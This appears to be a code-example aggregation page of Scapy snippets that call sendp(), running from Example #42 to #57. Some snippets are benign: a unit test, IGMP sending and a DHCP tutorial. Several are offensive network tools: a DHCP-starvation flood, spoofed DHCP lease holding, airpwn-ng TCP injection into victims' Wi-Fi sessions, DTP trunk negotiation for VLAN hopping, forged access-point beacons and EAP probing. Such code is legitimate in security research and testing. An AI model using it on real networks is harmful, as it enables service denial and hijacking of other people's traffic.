				Dot11Elt(ID=221, info="\x00\x50\xf2\x01\x01\x00" + "\x00\x50\xf2\x02" + "\x01\x00" + "\x00\x50\xf2\x02" + "\x01\x00" + "\x00\x50\xf2\x01")/
				Dot11Elt(ID=42, info="\x00")/
				Dot11Elt(ID=50, info="\x30\x48\x60\x6c")/
				Dot11Elt(ID=221, info="\x00\x50\xf2\x02\x01\x01\x84\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00")
			)
		else:
			raise Exception('Invalid privacy setting')
		sendp(beacon, iface=interface, verbose=False)
Example #42
0
	def send_beacon_ex(essid, interface, privacy=PRIVACY_NONE, bssid=None, channel=6):
		"""
		Convenience function for sending beacons without a thread or creating an instance
		"""
		if not bssid:
			bssid = getHwAddr(interface)
		channel = chr(channel)
		sequence = randint(1200, 2000)

		if privacy in [PRIVACY_NONE, 'none', 'NONE']:
			beacon = (
				RadioTap()/
				Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid, SC=sequence)/
				Dot11Beacon(cap='ESS+short-preamble+short-slot')/
				Dot11Elt(ID="SSID", info=essid)/
				Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18\x24')/
				Dot11Elt(ID="DSset", info=channel)/
				Dot11Elt(ID=42, info="\x04")/
				Dot11Elt(ID=47, info="\x04")/
				Dot11Elt(ID=50, info="\x0c\x12\x18\x60")
			)
		elif privacy in [PRIVACY_WEP, 'wep', 'WEP']:
			beacon = (
				RadioTap()/
				Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid, SC=sequence)/
				Dot11Beacon(cap='ESS+privacy+short-preamble+short-slot')/
				Dot11Elt(ID="SSID", info=essid)/
				Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18\x24')/
				Dot11Elt(ID="DSset", info=channel)/
				Dot11Elt(ID=42, info="\x04")/
				Dot11Elt(ID=47, info="\x04")/
				Dot11Elt(ID=50, info="\x0c\x12\x18\x60")
			)
		elif privacy in [PRIVACY_WPA, 'wpa', 'WPA']:
			beacon = (
				RadioTap()/
				Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid, SC=sequence)/
				Dot11Beacon(cap='ESS+privacy+short-preamble+short-slot')/
				Dot11Elt(ID="SSID", info=essid)/
				Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18\x24')/
				Dot11Elt(ID="DSset", info=channel)/
				Dot11Elt(ID=221, info="\x00\x50\xf2\x01\x01\x00" + "\x00\x50\xf2\x02" + "\x01\x00" + "\x00\x50\xf2\x02" + "\x01\x00" + "\x00\x50\xf2\x01")/
				Dot11Elt(ID=42, info="\x00")/
				Dot11Elt(ID=50, info="\x30\x48\x60\x6c")/
				Dot11Elt(ID=221, info="\x00\x50\xf2\x02\x01\x01\x84\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00")
			)
		else:
			raise Exception('Invalid privacy setting')
		sendp(beacon, iface=interface, verbose=False)
Example #43
0
 def callback(channel, hubs, devices):
     # Register hubs
     for hub in hubs:
         if hub not in ex_hubs:
             queue.put(hub)
             ex_hubs.append(hub)
         # Register devices
         for dev in devices[hub]["sub"]:
             if dev not in ex_clients:
                 queue.put((dev, hub))
                 ex_clients.append(dev)
     # Send packets
     packets_to_send = packets.get(channel, [])
     if packets_to_send:
         sendp(packets_to_send, iface=iface)
Example #44
0
def persistant(mac_and_ip, dhcp_server_ip, interface):
    while (True):
        for i in mac_and_ip:
            transaction_id = random.randint(1, 900000000)
            server_id = dhcp_server_ip
            requested_addr = i[0]
            options = [("message-type", "request"), ("server_id", server_id),
                       ("requested_addr", requested_addr), ("end", "0")]
            dhcp_request = Ether(dst='ff:ff:ff:ff:ff:ff', src=i[1]) \
                           / IP(src=requested_addr, dst='255.255.255.255') \
                           / UDP(sport=68, dport=67) \
                           / BOOTP(chaddr=[mac2str(i[1])], xid=transaction_id) \
                           / DHCP(options=options)
            sendp(dhcp_request, iface=interface)
        sleep(120)
Example #45
0
def dhcpDiscover(src_mac_random, dhcp_server_ip, interface):
    options = [("message-type", "discover"), ("max_dhcp_size", 1500),
               ("client_id", mac2str(src_mac_random)), ("lease_time", 10000),
               ("end", "0")]
    transaction_id = random.randint(1, 900000000)
    dhcp_discover = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_random) \
                    / IP(src='0.0.0.0', dst=dhcp_server_ip) \
                    / UDP(sport=68, dport=67) \
                    / BOOTP(chaddr=[mac2str(src_mac_random)], xid=transaction_id, flags=0xffffff) \
                    / DHCP(options=options)
    sendp(dhcp_discover, iface=interface)
    dhcp_offer = sniff(
        count=1,
        lfilter=lambda p: BOOTP in p and p[BOOTP].xid == transaction_id)
    return dhcp_offer
Example #46
0
    def test_send_packet_to_sw(self):
        eth = ethernet.ethernet()
        ip6 = ipv6.ipv6()
        icmp6 = icmpv6.icmpv6()
        packet = eth / ip6 / icmp6
        packet.serialize()

        # sendrecv.sendp()のMock化
        sendpkt = scapy_packet.Packet(packet.data)
        self.mocker.StubOutWithMock(sendrecv, "sendp")
        sendrecv.sendp(sendpkt).AndReturn(0)

        self.mocker.ReplayAll()
        self.mld_proc.send_packet_to_sw(packet)
        self.mocker.UnsetStubs()
        self.mocker.VerifyAll()
Example #47
0
def dhcp_flood(**kwargs):
    iface = kwargs["interface"]
    count = kwargs["count"]

    unique_hexdigits = str.encode("".join(set(string.hexdigits.lower())))
    packet = (
        l2.Ether(dst="ff:ff:ff:ff:ff:ff") /
        inet.IP(src="0.0.0.0", dst="255.255.255.255") /
        inet.UDP(sport=68, dport=67) /
        dhcp.BOOTP(chaddr=volatile.RandString(12, unique_hexdigits)) /
        dhcp.DHCP(options=[("message-type", "discover"), "end"])
    )

    sendrecv.sendp(
        packet,
        iface=iface,
        count=count
    )
Example #48
0
	def check_eap_type(self, eaptype, outer_identity = 'user', eapol_start = False):
		"""
		Check that an eaptype is supported.
		errDict = {
			0:"supported",
			1:"not supported",
			2:"could not determine",
			3:"identity rejected"
		}
		"""
		eapid = randint(1, 254)
		if eapol_start:
			eapol_start_request = RadioTap()/Dot11(FCfield=0x01, addr1=self.bssid, addr2=self.source_mac, addr3=self.bssid, SC=self.__unfuckupSC__(), type=2, subtype=8)/Dot11QoS()/LLC(dsap=170, ssap=170, ctrl=3)/SNAP(code=0x888e)/EAPOL(version=1, type=1)
			self.sequence += 1
			for i in range(0, 3):
				sendp(eapol_start_request, iface=self.interface, verbose=False)
				sniff(iface=self.interface, store=0, timeout=RESPONSE_TIMEOUT, stop_filter=self.__stopfilter__)
				if not self.lastpacket == None:
					if self.lastpacket.haslayer('EAP'):
						fields = self.lastpacket.getlayer(EAP).fields
						if 'type' in fields and fields['type'] == 1 and fields['code'] == 1:
							i = 0
							eapid = fields['id']
							break
			if i == 2:
				return 2

		eap_identity_response = RadioTap()/Dot11(FCfield=0x01, addr1=self.bssid, addr2=self.source_mac, addr3=self.bssid, SC=self.__unfuckupSC__(), type=2, subtype=8)/Dot11QoS()/LLC(dsap=170, ssap=170, ctrl=3)/SNAP(code=0x888e)/EAPOL(version=1, type=0)/EAP(code=2, type=1, id=eapid, identity=outer_identity)
		self.sequence += 1
		eap_legacy_nak = RadioTap()/Dot11(FCfield=0x01, addr1=self.bssid, addr2=self.source_mac, addr3=self.bssid, SC=self.__unfuckupSC__(), type=2, subtype=8)/Dot11QoS()/LLC(dsap=170, ssap=170, ctrl=3)/SNAP(code=0x888e)/EAPOL(version=1, type=0, len=6)/EAP(code=2, type=3, id=eapid + 1, eap_types=[ eaptype ])
		self.sequence += 1
		
		for i in range(0, 3):
			sendp(eap_identity_response, iface=self.interface, verbose=False)
			sniff(iface=self.interface, store=0, timeout=RESPONSE_TIMEOUT, stop_filter=self.__stopfilter__)
			if not self.lastpacket == None:
				if self.lastpacket.haslayer('EAP'):
					fields = self.lastpacket.getlayer(EAP).fields
					if fields['code'] == 4:	# 4 is a failure
						return 3
					if 'type' in fields and fields['type'] == eaptype:
						return 0
					i = 0
					break
		if i == 2:
			return 2
		
		for i in range(0, 3):
			sendp(eap_legacy_nak, iface=self.interface, verbose=False)
			sniff(iface=self.interface, store=0, timeout=RESPONSE_TIMEOUT, stop_filter=self.__stopfilter__)
			if not self.lastpacket == None:
				if self.lastpacket.haslayer('EAP'):
					fields = self.lastpacket.getlayer(EAP).fields
					if 'type' in fields and fields['type'] == eaptype:
						return 0
					else:
						return 1
		return 2
Example #49
0
    def inject(self,
               vicmac,
               rtrmac,
               dstmac,
               vicip,
               svrip,
               vicport,
               svrport,
               acknum,
               seqnum,
               injection,
               TSVal,
               TSecr):
        """Send the injection using Scapy
        
        This method is where the actual packet is created for sending
        Things such as payload and associated flags are genned here
        FIN/ACK flag is sent to the victim with this method
        """
        global npackets
        npackets += 1
        sys.stdout.write(Bcolors.OKBLUE + '[*] Injecting Packet to victim ' + Bcolors.WARNING + vicmac + Bcolors.OKBLUE + ' (TOTAL: ' + str(npackets) + ' injected packets)\r' + Bcolors.ENDC)
        sys.stdout.flush()
        
        ## Injection using Monitor Mode
        if self.args.inj == 'mon':
            hdr = Headers()
            headers = hdr.default(injection)

            ## WEP/WPA
            if self.args.wep or self.args.wpa:
                packet = self.rTap\
                        /Dot11(
                              FCfield = 'from-DS',
                              addr1 = vicmac,
                              addr2 = rtrmac,
                              addr3 = dstmac,
                              subtype = 8L,
                              type = 2
                              )\
                        /Dot11QoS()\
                        /LLC()\
                        /SNAP()\
                        /IP(
                           dst = vicip,
                           src = svrip
                           )\
                        /TCP(
                            flags = 'FA',
                            sport = int(svrport),
                            dport = int(vicport),
                            seq = int(seqnum),
                            ack = int(acknum)
                            )\
                        /Raw(
                            load = headers + injection
                            )
            ## Open
            else:
                packet = RadioTap()\
                        /Dot11(
                              FCfield = 'from-DS',
                              addr1 = vicmac,
                              addr2 = rtrmac,
                              addr3 = dstmac
                              )\
                        /LLC()\
                        /SNAP()\
                        /IP(
                           dst = vicip,
                           src = svrip
                           )\
                        /TCP(
                            flags = 'FA',
                            sport = int(svrport),
                            dport = int(vicport),
                            seq = int(seqnum),
                            ack = int(acknum)
                            )\
                        /Raw(
                            load = headers + injection
                            )
                    
            if TSVal is not None and TSecr is not None:
                packet[TCP].options = [
                                      ('NOP', None),
                                      ('NOP', None),
                                      ('Timestamp', ((round(time.time()), TSVal)))
                                      ]
            else:
                packet[TCP].options = [
                                      ('NOP', None),
                                      ('NOP', None),
                                      ('Timestamp', ((round(time.time()), 0)))
                                      ]

            ## WPA Injection
            if self.args.wpa is not None:
                if self.shake.encDict.get(vicmac) == 'ccmp':
                    
                    ### Why are we incrementing here?  Been done before in wpaEncrypt(), verify this.
                    try:
                        self.shake.PN[5] += 1
                    except:
                        self.shake.PN[4] += 1

                    try:
                        packet = wpaEncrypt(self.shake.tgtInfo.get(vicmac)[1],
                                            self.shake.origPkt,
                                            packet,
                                            self.shake.PN,
                                            True)

                    except:
                        sys.stdout.write(Bcolors.FAIL + '\n[!] pyDot11 did not work\n[!] Injection failed\n ' + Bcolors.ENDC)
                        sys.stdout.flush()
                else:
                    sys.stdout.write(Bcolors.FAIL + '\n[!] airpwn-ng cannot inject TKIP natively\n[!] Injection failed\n ' + Bcolors.ENDC)
                    sys.stdout.flush()
                    #packet = wpaEncrypt(self.shake.tgtInfo.get(vicmac)[0],
                                        #self.shake.origPkt,
                                        #packet,
                                        #self.shake.PN,
                                        #True)
                
                

                if self.args.v is False:
                    sendp(packet, iface = self.interface, verbose = 0)
                else:
                    sendp(packet, iface = self.interface, verbose = 1)
                if self.args.pcap is True:
                    wrpcap('outbound.pcap', packet)

            ## WEP Injection
            elif self.args.wep is not None:
                try:
                    packet = wepEncrypt(packet, self.args.wep)
                except:
                    sys.stdout.write(Bcolors.FAIL + '\n[!] pyDot11 did not work\n[!] Injection failed\n ' + Bcolors.ENDC)
                    sys.stdout.flush()

                if self.args.v is False:
                    sendp(packet, iface = self.interface, verbose = 0)
                else:
                    sendp(packet, iface = self.interface, verbose = 1)
                if self.args.pcap is True:
                    wrpcap('outbound.pcap', packet)


            ## Open WiFi Injection
            else:
                if self.args.v is False:
                    sendp(packet, iface = self.interface, verbose = 0)
                else:
                    sendp(packet, iface = self.interface, verbose = 1)
                if self.args.pcap is True:
                    wrpcap('outbound.pcap', packet)


            ### Single packet exit point
            ### Used for BeEF hook examples and such
            if self.args.single is True:
                sys.stdout.write(Bcolors.OKBLUE + '[*] Injecting Packet to victim ' + Bcolors.WARNING + vicmac + Bcolors.OKBLUE + ' (TOTAL: ' + str(npackets) + ' injected packets)\r' + Bcolors.ENDC)
                sys.exit(0)

        ## Injection using Managed Mode
        else:
            hdr = Headers()
            headers = hdr.default(injection)
            packet = Ether(\
                          src = self.getHwAddr(self.interface),\
                          dst = vicmac\
                          )\
                    /IP(
                        dst = vicip,
                        src = svrip
                        )\
                    /TCP(
                        flags = 'FA',
                        sport = int(svrport),
                        dport = int(vicport),
                        seq = int(seqnum),
                        ack = int(acknum)
                        )\
                    /Raw(
                        load = headers + injection
                        )

            if TSVal is not None:
                packet[TCP].options = [\
                                      ('NOP', None),\
                                      ('NOP', None),\
                                      ('Timestamp', ((round(time.time()), TSVal)))\
                                      ]
            else:
                packet[TCP].options = [\
                                      ('NOP', None),\
                                      ('NOP', None),\
                                      ('Timestamp', ((round(time.time()), 0)))\
                                      ]
            
            if self.args.v is False:
                sendp(packet, iface = self.interface, verbose = 0)
            else:
                sendp(packet, iface = self.interface, verbose = 1)
            if self.args.pcap is True:
                wrpcap('outbound.pcap', packet)
Example #50
0
 def run(self):
     self.prepare()
     self.packet.show()
     sendp(x=self.packet, inter=1, count=1000)
Example #51
0
def send(igmp):
    ip_pkt = IGMP_ETH/IGMP_IP
    pkt = ip_pkt/igmp
    IGMPv3.fixup(pkt)

    sendp(pkt, iface=args.iface)
Example #52
0
 def send_reply(self, reply):
     sendp(reply, iface=self.ifto, **self.optsend)
Example #53
0
File: dtp.py Project: 6WIND/scapy
def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
    print("Trying to negotiate a trunk on interface %s" % iface)
    p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
    sendp(p)
 def my_send(self, pkt):
     sendp(pkt, iface=self.iface, verbose=self.verbose)
Example #55
0
	def send(self, packet):
		sendp(packet, iface=str(self.name), verbose=False)
Example #56
0
from scapy.all import DHCP, ARP, BOOTP, Ether, UDP, TCP, IP

# data link layer
ethernet = Ether()
ethernet.show()
ethernet.dst = "ff:ff:ff:ff:ff:ff"

# network layer
ip = IP()
ip.show()
ip.dst = "255.255.255.255"

# transport layer
udp = UDP()
udp.show()
udp.sport = 68
udp.dport = 67

# application layer
bootp = BOOTP()
bootp.show()
bootp.flags = 1

dhcp = DHCP()
dhcp.show()
dhcp.options = [("message-type", "discover"), "end"]

packet = ethernet / ip / udp / bootp / dhcp

sendp(packet)
Example #57
0
	def send_beacon(self):
		"""
		Convenience function for sending beacons without starting a thread
		"""
		self.beacon.getlayer(Dot11).SC = self.__fixSC__()
		sendp(self.beacon, iface=self.interface, verbose=False)